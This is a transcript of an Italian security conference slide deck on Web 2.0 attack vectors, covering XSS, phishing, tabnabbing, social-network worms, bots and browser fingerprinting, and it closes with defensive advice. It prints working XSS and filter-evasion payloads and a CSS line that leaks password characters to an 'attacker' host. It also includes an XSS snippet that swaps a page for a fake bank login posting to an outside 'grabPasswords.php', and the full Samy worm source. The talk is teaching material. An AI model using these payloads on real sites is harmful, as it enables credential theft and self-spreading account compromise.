Web Application Security
Transcript
Web Application Security
Web Application Security a 2.0 attacker's perspective Relatore Alessandro Gai Security Advisor presso ISECOM OPST OWSE + 5 anni penetration test + 10 anni web analyst and developer Trainer corsi specialisti - master universitari Web Application Security: a 2.0 attacker's perspective 2 Agenda web 2.0 e nuovi vettori d'attacco evoluzione degli attacchi XSS (XSS proxy / XSS fingerprinting / XSS tunneling / XSS browser exploitation) phishing: whaling, SEO poisoning, tabnabbing worm 2.0 e attacchi anti automation "mercato underground" del malware, attacchi drive-by download e tecnica x-Morphic (Simone Riccetti) unicità e tracciabilità del browser social network e la sicurezza delle informazioni conclusioni (…il social penetration test) Web Application Security: a 2.0 attacker's perspective dal 2004 a oggi Web Application Security: a 2.0 attacker's perspective Timeline 1969: Arpanet (1971: posta elettronica) 1970/80: da Arpanet a Internet (1973/1983 TCP-IP) 1980: il primo virus telematico 1982: nasce il termine Internet 1988: primo worm (down 10% of the world's Internet servers: Robert Morris) 1991: Nascita del World Wide Web (HTTP) 1993: nasce Mosaic, il primo browser “moderno” 1998: New Economy (da Kevin Kelly con il best-seller New Rules for a New Economy) - Google apre il suo primo ufficio in California 2001: scoppio della bolla dot-com 2004: O'Reilly Media Web 2.0 conference 2004/2005: nascono YouTube e Facebook Web Application Security: a 2.0 attacker's perspective 5 Cosa è il Alla domanda “Cosa è il Web 2.0?” non esiste una definizione chiara ed esaustiva. Chiedete a due persone di definirlo e ascoltate le loro risposte. Quando si cerca di spiegare che cosa è, si tende ad usare un insieme di definizioni ed esempi: o o o La logica è stata spostata dal server al client L‟utilizzo di transazioni asincrone Il nuovo concetto di web application “offline”. Non esistono standard concreti che lo definiscono Web Application Security: a 2.0 attacker's perspective 6 Definizione (Wikipedia) Il Web 2.0 è un termine utilizzato per indicare genericamente uno stato di evoluzione di Internet (e in particolare del World Wide Web), rispetto alla condizione precedente. Si tende ad indicare come Web 2.0 l'insieme di tutte quelle applicazioni online che permettono uno spiccato livello di interazione sito-utente (blog, forum, chat, sistemi quali Wikipedia, Youtube, Facebook, Myspace, Twitter, Gmail, Wordpress, Tripadvisor ecc.). Fonte: wikipedia - http://it.wikipedia.org/wiki/Web_2.0 Web Application Security: a 2.0 attacker's perspective 7 Principi del Web 2.0 La saggezza degli utenti Digg.com (il successo di un articolo è deciso dagli utenti che lo votano) / Feedback di E-bay / Page Rank di Google Search / Recensioni di Amazon Applicazioni web condivise Le applicazioni passano dal desktop al web (Google Docs) L’importanza dei dati L‟SQL è il nuovo HTML Beta per sempre Applicazioni Web 2.0 sono continuamente rilasciate, riscritte e rivisitate su basi in continuo sviluppo Web Application Security: a 2.0 attacker's perspective 8 Principi del Web 2.0 Il web inteso come piattaforma Servizi che non potrebbero vivere senza il web eBay, Craiglist, Wikipedia, etc. Partecipazione degli utenti Gli utenti sono anche gli autori (Blog,YouTube, Flickr) : “read/write web” Pieno coinvolgimento dell’utente Aumenta l‟usabilità (CSS, AJAX e altre tecnologie) / Pagine dinamiche in grado di mostrare più informazioni nello stesso spazio (Google News) RIA: Rich Internet Applications Usare il web come è stato ideato Incremento nell‟usabilità che è stata raggiunta attraverso un buon design Web Application Security: a 2.0 attacker's perspective 9 Web 1.0 vs Web 2.0 Web Application Security: a 2.0 attacker's perspective 10 Timeline Web 1.0 Web 2.0 Web 3.0 VS Web Application Security: a 2.0 attacker's perspective 11 ? Nuovi vettori d'attacco Web Application Security: a 2.0 attacker's perspective Esposizione sul web - ieri (1.0) Sito web istituzionale Web Application Security: a 2.0 attacker's perspective 13 Esposizione sul web - oggi (2.0) Web-Mail CRM Sito web istituzionale Extranet E-commerce Canale Twitter Fan Page Facebook Canale YouTube Gruppo Aziendale Facebook B2B commerce Ricerca HR Rassegna stampa Siti mktg “speciali” … Web Application Security: a 2.0 attacker's perspective Account dipendenti 14 I componenti del Web 2.0 WEB 1.0 WEB 2.0 Client Layer HTML/CSS JavaScript DOM Flash / RIA Widget Ajax Protocol Layer HTTP HTTPS SOAP XML-RPC REST JSON Custom Web Services APIs Structure Layer Text XML RSS/ATOM Server Layer Traditional SOA/WOA SaaS Web Application Security: a 2.0 attacker's perspective 15 Nuovi vettori d'attacco Web 2.0 non è qualcosa di realmente “nuovo”, è una conglemerazione di vecchie tecnologie e… … tutte le “vecchie” vulnerabilità del Web 1.0 continuano ad esistere Vecchie e nuove vulnerabilità rendono i componenti del Web 2.0 nuovi vettori d’attacco Web Application Security: a 2.0 attacker's perspective 16 Esempi di vulnerabilità del Web 2.0 Cross-site scripting Validazioni Client side nelle routines AJAX Malicious AJAX code execution Thick client binary manipulation SOAP Parameter manipulation / XPATH injection XML poisoning RSS / Atom injection WSDL scanning and enumeration Web services routing issues Web Application Security: a 2.0 attacker's perspective 17 Agenda web 2.0 e nuovi vettori d'attacco evoluzione degli attacchi XSS (XSS proxy / XSS fingerprinting / XSS tunneling / XSS browser exploitation) phishing: whaling, SEO poisoning, tabnabbing worm 2.0 e attacchi anti automation "mercato underground" del malware, attacchi drive-by download e tecnica x-Morphic (Simone Riccetti) unicità e tracciabilità del browser social network e la sicurezza delle informazioni conclusioni (…il social penetration test) Web Application Security: a 2.0 attacker's perspective XSS - WASC - Web Application Security Statistics 2007 2010 Web Application Security: a 2.0 attacker's perspective 19 XSS - OWASP TOP 10 2003 2004 2007 2010 A1 - Unvalidated Parameters A1 - Unvalidated Input A1 - Cross Site Scripting (XSS) A1 - Injection A2 - Broken Access Control A2 - Broken Access Control A2 - Injection Flaws A2 - Cross-Site Scripting (XSS) A3 - Broken Account and Session Management A3 - Broken Authentication and Session Management A3 - Malicious File Execution A3 - Broken Authentication and Session Management A4 - Insecure Direct Object Reference A4 - Insecure Direct Object References … … A4 - Cross Site Scripting A4 - Cross Site Scripting (XSS) Flaws (XSS) Flaws … … Web Application Security: a 2.0 attacker's perspective 20 XSS - Evoluzione XSS Classico Codice HTML o script malevoli nell‟input utente: - Reflected (via GET / POST) – Stored (DB / Files) XSS 2.0 Input dinamicamente creati da JavaScript Input in JavaScript arrays Input controllati e formattati da JavaScript Dati scritti dinamicamente nel DOM o scritti dinamicamente nelle pagine (document.write) Web Application Security: a 2.0 attacker's perspective 21 XSS - Evoluzione XSS Classico http://www.example.com/a.php?name= <script>alert('xss')</script> XSS 2.0 http://www.example.com/welcome.html?name=xss <SCRIPT>var pos = document.URL.indexOf("name=") + 5; document.write(document.URL.substring(pos,doc ument.URL.length));</SCRIPT> Web Application Security: a 2.0 attacker's perspective 22 XSS - Evoluzione DOM Based Cross Site Scripting document.url / document.location / document.referrer JSON array var myJSON = {"people": [{"name": "Ale", "address": "<script>doHack();</script>", "phone": "011"}] }; myObject.innerHTML(myJSON.people[0].address); document.write(myJSON.people[0].address); Web Application Security: a 2.0 attacker's perspective 23 XSS - Evoluzione JS Arrays var jsArray = new Array(); jsArray[0] = "42"; doHack(); var bar="ajacked"; Universal XSS - Acrobat Reader Universal PDF XSS www.example.com/file.pdf#a=javascript:alert('xss') - Universal XSS via IE8s XSS Filters //<![CDATA[ var foo='<img src=x:x onerror=alert(0)>„;// ]]> Web Application Security: a 2.0 attacker's perspective 24 XSS - Filter evasion (esempi) <img/src="a.png"alt="a"> Assenza di spazi o uso “/” <isindex action=javascript :alert(1) type=image> “isindex” tag <x:script xmlns:x="http:// www.w3.org/1999/xhtml"> alert('xss');</x:script> JS via xhtml namespaces http://ha.ckers.org/xss.html Web Application Security: a 2.0 attacker's perspective 25 XSS - Filter evasion Futuro? HTML v5 </a onmousemove="alert(1)"> HTML5 permette gli attributi dopo la chiusura tag <style>input[name=password][value*=a]{ background:url('//attacker?log[]=a'); }</style> Permette css-based XSS attacks <iframe seamless src="login.asp"/> Nuovo attributo “seamless” per gli iframe Web Application Security: a 2.0 attacker's perspective 26 XSS - Minacce XSS Worm XSS Phishing XSS Proxy XSS Keylogger XSS Tunnelling Browser exploitation (con Metasploit) Web Application Security: a 2.0 attacker's perspective 27 XSS - Tools XSSSHELL – XSSTUNNEL BEEF labs.portcullis.co.uk/application/xss-tunnelling/ www.bindshell.net/tools/beef/ Web Application Security: a 2.0 attacker's perspective 28 XSS - Tools (Demo 1-2) http://www.youtube.com/watch?v=PFC2QJGJKRk Web Application Security: a 2.0 attacker's perspective 29 XSS - Tools (Demo 2-2) http://www.youtube.com/watch?v=8dROmr9fI4I Web Application Security: a 2.0 attacker's perspective 30 Agenda web 2.0 e nuovi vettori d'attacco evoluzione degli attacchi XSS (XSS proxy / XSS fingerprinting / XSS tunneling / XSS browser exploitation) phishing: whaling, SEO poisoning, tabnabbing worm 2.0 e attacchi anti automation "mercato underground" del malware, attacchi drive-by download e tecnica x-Morphic (Simone Riccetti) unicità e tracciabilità del browser social network e la sicurezza delle informazioni conclusioni (…il social penetration test) Web Application Security: a 2.0 attacker's perspective Phishing (Tradizionale) fenomeno in continua crescita il 17% delle e-mail ricevute sono tentativi di phishing (rapporto Symantec) l‟Italia è al terzo posto nelle preferenze dei truffatori Web Application Security: a 2.0 attacker's perspective 32 Phishing - XSS document.body.innerHTML="<img src=www.mediaservice.net/defacement.jpg>"; document.body.innerHTML=„ <h1>Home banking Login</h1> <form action="http://www.mediaservice.net/grabPasswords. php" method="get"> User name:<input type="text" name="user"> Password: <input type="password" name="pass"> <input type="submit" name="login"></form>'; Web Application Security: a 2.0 attacker's perspective 33 Phishing - Whaling attacco su grossi profili aziendali (amministratore delegato / dirigenti) alte probabilità di successo perché costruito in maniera molto personalizzata informazioni sulle vittime nei business social network o nei siti Web aziendali l‟e-mail non ha le sembianze dello spam aprile 2008: 20.000 dirigenti di aziende USA - ordine di comparizione con nomi e contatti telefonici - falso sito Corte Americana con software malware Web Application Security: a 2.0 attacker's perspective 34 Phishing - SEO poisoning Search Engine Optimization Tecnica di Marketing per promuovere la “presenza su internet” attraverso i motori di ricerca Utilizzata per promuovere siti/contenuti fraudolenti Web Application Security: a 2.0 attacker's perspective 35 Phishing - Tabnabbing 1. 2. 3. 4. 5. Utente naviga su una pagina internet innocua La pagina aspetta il cambio del focus (altri tab) Sostituisce la favicon, il titolo (“Gmail: Email from Google”) e la pagina con un finto login a Gmail Quando utente ritorna su tab ipotizza sessione scaduta e rieffettua login Dopo l‟inserimento delle credenziali avviene il redirect su gmail reale http://www.azarask.in/blog/post/a-new-type-of-phishing-attack/ Web Application Security: a 2.0 attacker's perspective 36 Phishing – Tabnabbing (Demo) http://www.youtube.com/watch?v=hfMJblddjMo Web Application Security: a 2.0 attacker's perspective 37 Phishing e social network TVVITTER.COM (invece di TWITTER.COM) Web Application Security: a 2.0 attacker's perspective 38 Phishing e social network (Facebook) e-mail fasulla con richiesta amicizia o con avviso per cambiare la password trovare sulla bacheca un messaggio con un link dalla struttura simile a quello reale Web Application Security: a 2.0 attacker's perspective 39 Il mercato delle “fan page” di Facebook http://www.alverde.net/forum/comprare-o-vendere-pubblicita-su-facebook/ Web Application Security: a 2.0 attacker's perspective 40 Agenda web 2.0 e nuovi vettori d'attacco evoluzione degli attacchi XSS (XSS proxy / XSS fingerprinting / XSS tunneling / XSS browser exploitation) phishing: whaling, SEO poisoning, tabnabbing worm 2.0 e attacchi anti automation "mercato underground" del malware, attacchi drive-by download e tecnica x-Morphic (Simone Riccetti) unicità e tracciabilità del browser social network e la sicurezza delle informazioni conclusioni (…il social penetration test) Web Application Security: a 2.0 attacker's perspective Samy XSS Worm Il primo malware del web 2.0 <div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('ContentLength',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToStrin g(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothin g,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_v erify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-formurlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV> <div id=mycode style="background: url('java script:eval(document.all.mycode.expr)')" expr="alert(1)"></div> Web Application Security: a 2.0 attacker's perspective 42 Worm e i social network (Koobface) si diffonde con richieste di amicizia o video tipo "Guarda come sei buffo qui..." url a sito fuori di Facebook dove viene richiesto un aggiornamento fasullo di Adobe Flash Player Web Application Security: a 2.0 attacker's perspective 43 Malware e social network Web Application Security: a 2.0 attacker's perspective 44 Malware e social network Immagine/soggetto focalizza e distoglie l'utente da url, sfruttando così istintività del click e rapporto di trust con il social netowrk Web Application Security: a 2.0 attacker's perspective 45 Captchas Hacking http://caca.zoy.org/wiki/PWNtcha Web Application Security: a 2.0 attacker's perspective 46 Anti automation Programmi per download link multipli in automatico: Megaupload Downloader http://sourceforge.net/projects/mudownloader/ Rapidshare AutoDownload http://rapidautodl.blogfa.com/ Adblock Plus (blocco popup e advertising) http://adblockplus.org/en/ Auction Sniper (automatizza aste su ebay) http://www.auctionsniper.com/ Web Application Security: a 2.0 attacker's perspective 47 Anti automation BOT (abbreviazione di robot) per i social network: Facebook Friend Bomber Facebook Blaster Pro Facebook Tools TellyAdder (YouTube) Tubeinator (YouTube) Twitter Friend Adder Friend Blaster Pro (MySpace) Etc. Web Application Security: a 2.0 attacker's perspective 48 Anti automation (Facebook Tools BOT) 1. 2. 3. 4. 5. Creazione di un falso account Verifica account con mobile (per evitare captcha) Inserito nell‟account applicazione con link affiliati esterni quali ad esempio: “more profile pictures” Utilizzo della funzione automatica “friend adder” 500 friend requests 18$ di guadagno http://www.lornefade.com/marketing/facebook-tools-a-look-into-one-of-the-firstfacebook-bots Web Application Security: a 2.0 attacker's perspective 49 Agenda web 2.0 e nuovi vettori d'attacco evoluzione degli attacchi XSS (XSS proxy / XSS fingerprinting / XSS tunneling / XSS browser exploitation) phishing: whaling, SEO poisoning, tabnabbing worm 2.0 e attacchi anti automation "mercato underground" del malware, attacchi drive-by download e tecnica x-Morphic (Simone Riccetti) unicità e tracciabilità del browser social network e la sicurezza delle informazioni conclusioni (…il social penetration test) Web Application Security: a 2.0 attacker's perspective Agenda web 2.0 e nuovi vettori d'attacco evoluzione degli attacchi XSS (XSS proxy / XSS fingerprinting / XSS tunneling / XSS browser exploitation) phishing: whaling, SEO poisoning, tabnabbing worm 2.0 e attacchi anti automation "mercato underground" del malware, attacchi drive-by download e tecnica x-Morphic (Simone Riccetti) unicità e tracciabilità del browser social network e la sicurezza delle informazioni conclusioni (…il social penetration test) Web Application Security: a 2.0 attacker's perspective Quali informazioni si possono recuperare dal browser? La versione del sistema operativo e del browser I plugin del browser Alcuni software installati quali Adobe Reader, Open Office.org, Google Chrome o MS Silverlight Web Application Security: a 2.0 attacker's perspective 52 Quali informazioni si possono recuperare dal browser? I font installati sul sistema L‟ora di sistema Geolocation etc. Maggiori informazioni su: http://browserspy.dk/ Web Application Security: a 2.0 attacker's perspective 53 Unicità/tracciabilità del browser Cosa succede se si combinano insieme queste informazioni? Si possono trasformare in una firma digitale! http://panopticlick.eff.org Web Application Security: a 2.0 attacker's perspective 54 Unicità/tracciabilità del browser (panopticlick 1/2) Web Application Security: a 2.0 attacker's perspective 55 Unicità/tracciabilità del browser (panopticlick 2/2) Web Application Security: a 2.0 attacker's perspective 56 Unicità/tracciabilità del browser Risultati Desktop browsers moderni sono tracciabili al 90% I desktop browsers meno tracciabili sono quelli con JavaScript disabilitato (es: NoScript) Il fingerprinting è sensibilmente più complicato su iPhone and Android browsers Plugins e fonts sono la metrica di identificazione migliore, seguiti da User Agent, HTTP Accept, e risoluzione dello schermo Web Application Security: a 2.0 attacker's perspective 57 Problematiche privacy (1/3)? CSS Exploit information (Demo) http://www.youtube.com/watch?v=4uw6DffV7fo Web Application Security: a 2.0 attacker's perspective 58 Problematiche privacy (2/3)? Flash LSO on Private Browser Local Shared Objects (LSO) aka flash cookies contenuti in file di estensione .sol salvati in sottocartelle aventi il nome del sito che li ha creati persistenti: non possiedono alcun meccanismo di scadenza automatica (expire) memorizzano fino a 100KB di dati garantiscono same origin policy cross browser Non cancellano dati salvati in Private Browser Web Application Security: a 2.0 attacker's perspective 59 Problematiche privacy (2/3)? LSO on Private Browser (Demo) http://www.youtube.com/watch?v=ft2_YOdKS7w Web Application Security: a 2.0 attacker's perspective 60 Problematiche privacy (3/3)? Javascript LAN scanner (Demo) http://www.youtube.com/watch?v=oVBKdOTXsUI Fonte: http://www.businessinfo.co.uk/labs/lan_scan/lan_scan.php Web Application Security: a 2.0 attacker's perspective 61 Agenda web 2.0 e nuovi vettori d'attacco evoluzione degli attacchi XSS (XSS proxy / XSS fingerprinting / XSS tunneling / XSS browser exploitation) phishing: whaling, SEO poisoning, tabnabbing worm 2.0 e attacchi anti automation "mercato underground" del malware, attacchi drive-by download e tecnica x-Morphic (Simone Riccetti) unicità e tracciabilità del browser social network e la sicurezza delle informazioni conclusioni (…il social penetration test) Web Application Security: a 2.0 attacker's perspective “Share” delle informazioni Web Application Security: a 2.0 attacker's perspective 63 Top Siti - Alexa GLOBAL Top Sites 2009 ITALY Top Sites 2009 1)google.com 11)yahoo.co.jp 1)google.it 2)facebook.com 12)twitter.com 2)facebook.com 12)virgilio.it 3)youtube.com 13)google.co.in 3)youtube.com 13)corriere.it 4)yahoo.com 14)sina.com.cn 4)google.com 14)msn.com 5)live.com 15)google.de 5)yahoo.com 15)altervista.org 6)wikipedia.org 16)wordpress.com 6)live.com 16)alice.it 7)blogger.com 17)google.cn 7)libero.it 17)partypoker.it 8)baidu.com 18)myspace.com 8)wikipedia.org 18)youporn.com 9)msn.com 19)microsoft.com 9)blogger.com 19)mediaset.it 10)qq.com 20)taobao.com 10)ebay.it 11)repubblica.it 20)wordpress.com Fonte: Alexa's Web information database - http://www.alexa.com/topsites Web Application Security: a 2.0 attacker's perspective 64 Social Media e Social Network Social media: tecnologie con cui utenti creano e condividono contenuti sul Web Social-network: Facebook, LinkedIn, Viadeo, etc... 10 milioni di iscritti a Facebook in Italia (1 italiano su 6) americani iscritti su Facebook sono più di 100 milioni (1 americano su 3) Web Application Security: a 2.0 attacker's perspective 65 Attacchi al Social networking Gli account sui social network hanno un grande valore per gli “attaccanti” Possono essere usati per spedire spam, diffondere malware e rubare identità (come un PC compromesso all‟interno di una botnet) 57% vittime di spam (+ 70.6% dal 2009) 30% vittime di phishing (+ 42.9% dal 2009) 36% vittime di malware (+ 69.8% dal 2009) Fonte: SOPHOS security threat report: 2010 Web Application Security: a 2.0 attacker's perspective 66 La sicurezza delle reti aziendali ai tempi di Facebook Furto identità digitale tramite social engineering Possibilità di “fare uscire” informazioni riservate dal posto di lavoro tramite il canale social network Porte di ingresso non controllate e pericolose nella rete aziendale Intercettazione di informazioni riservate durante l‟utilizzo aziendale Alterazione illegittima immagine aziendale a fini di marketing Fonte: Wiki IBM su l‟utilizzo dei social network e sicurezza di infrastrutture IT Web Application Security: a 2.0 attacker's perspective 67 La sicurezza delle reti aziendali ai tempi di Facebook Controllo delle informazioni inserite dagli iscritti Accesso al canale di comunicazione da dipendenti non autorizzati Rischi derivanti dall‟analisi aggregata dei dati a scarsa valenza individuale Rischi derivanti dall‟installazione delle applicazioni di terze parti Rischi derivanti dall‟esposizione dei nominativi dei clienti Fonte: Wiki IBM su l‟utilizzo dei social network e sicurezza di infrastrutture IT Web Application Security: a 2.0 attacker's perspective 68 Facebook API “Users.getInfo” (REST API - Graph API) $user_details = $facebook->api_client->users_getInfo($uid, 'last_name, first_name'); $data['first_name'] = $user_details[0]['first_name']; $data['last_name'] = $user_details[0]['last_name']; Web Application Security: a 2.0 attacker's perspective 69 Facebook API “Users.getInfo” (REST API) uid - about_me - activities – affiliations - birthday birthday_date - books - contact_email current_location - education_history - email email_hashes - family - has_added_app hometown_location - hs_info - interests is_app_user - is_blocked - locale - meeting_for meeting_sex - movies - music - name - notes_count - pic - pic_with_logo - pic_big - pic_big_with_logo pic_small - pic_small_with_logo - pic_square pic_square_with_logo - political - profile_blurb profile_update_time - profile_url - proxied_email quotes - relationship_status - religion - sex significant_other_id - status - timezone - tv username - wall_count - website - work_history Web Application Security: a 2.0 attacker's perspective 70 Facebook API (REST API) “Message.getThreadsInFolder” http://wiki.developers.facebook.com/index.php/Message.getThreadsInFolder Web Application Security: a 2.0 attacker's perspective 71 Costituzione degli USA vs Facebook Privacy Policy Pop quiz del New York Times: “Which is longer, the United States Constitution or Facebook‟s Privacy Policy?” facebook vince 5.830 parole contro le 4.543 parole della Costituzione USA http://www.nytimes.com/2010/05/13/technology/personaltech/13basics.html Web Application Security: a 2.0 attacker's perspective 72 Agenda web 2.0 e nuovi vettori d'attacco evoluzione degli attacchi XSS (XSS proxy / XSS fingerprinting / XSS tunneling / XSS browser exploitation) phishing: whaling, SEO poisoning, tabnabbing worm 2.0 e attacchi anti automation "mercato underground" del malware, attacchi drive-by download e tecnica x-Morphic (Simone Riccetti) unicità e tracciabilità del browser social network e la sicurezza delle informazioni conclusioni (…il social penetration test) Web Application Security: a 2.0 attacker's perspective Conclusioni (1/2) La complessità delle applicazioni aumenta in maniera esponenziale assieme ai vettori d'attacco. Vecchie vulnerabilità continuano ad esistere e vivono una continua evoluzione. Attacchi al “client” sempre più frequenti. Esempi: xss sempre diffusi, in nuove forme, facili da sfruttare phising crescente, più mirato, difficile da individuare e integrato nei social network worm e bot sfruttano a pieno le potenzialità di diffusione offerte dai canali del web 2.0 Web Application Security: a 2.0 attacker's perspective 74 Conclusioni (2/2) Tutto questo in un contesto in cui: il mercato del malware è redditizio e cresce esponenzialmente un alta percentuale dei browser è tracciabile e richiede configurazioni non di default o installazione di plugin aggiuntivi per proteggere la propria privacy i social network hanno dato una nuova dimensione alla condivisione delle informazioni e di conseguenza alla privacy Web Application Security: a 2.0 attacker's perspective 75 Alcune possibili azioni Controllare regolarmente le informazioni che vengono condivise on-line da tutta l‟azienda Condividere “info” solo con persone/aziende fidate Controllare l‟accesso al web bloccando siti con malware o filtrando l‟accesso ai social network Educare le persone sui rischi Controllare impostazioni di sicurezza sul web 2.0 Implementare policy di sicurezza appropriate, coinvolgendo i nuovi vettori Effettuare verifiche di sicurezza tradizionali e non... Web Application Security: a 2.0 attacker's perspective 76 Social Penetration Test “Facebook from the hackers perspective” 1. 2. 3. 4. 5. 6. Reconnaissance / information leak: profili di facebook, 906 impiegati su 1402 con account) Scoprire un xss Creare falso profilo + iscrizione gruppo aziendale 3 gg: la lista degli amici cresce esponenzialmente Postare un messaggio con link “speciale” Furto delle credenziali SNOsoft Research Team http://snosoft.blogspot.com © www.sheeps.it Web Application Security: a 2.0 attacker's perspective 77 Grazie per l’attenzione. Domande? Link delle demo On-Line 1) Xss Classico: http://www.youtube.com/watch?v=PFC2QJGJKRk 2) Xss Tools: http://www.youtube.com/watch?v=8dROmr9fI4I 3) Phishing-Tabnabbing: http://www.youtube.com/watch?v=hfMJblddjMo 4) CSS Exploit information: http://www.youtube.com/watch?v=4uw6DffV7fo 5) Flash LSO: http://www.youtube.com/watch?v=ft2_YOdKS7w 6) JavaScript LAN Scanner: http://www.youtube.com/watch?v=oVBKdOTXsUI Web Application Security: a 2.0 attacker's perspective 79
Documenti analoghi
Rapporto Clusit 2015 - Collabra Professional Email
- La Polizia Postale e delle Comunicazioni e il contrasto al cyber crime . . . . . . . . . . . . . . 81
- Il Nucleo Speciale Frodi Informatiche della Guardia di Finanza e
il contrast...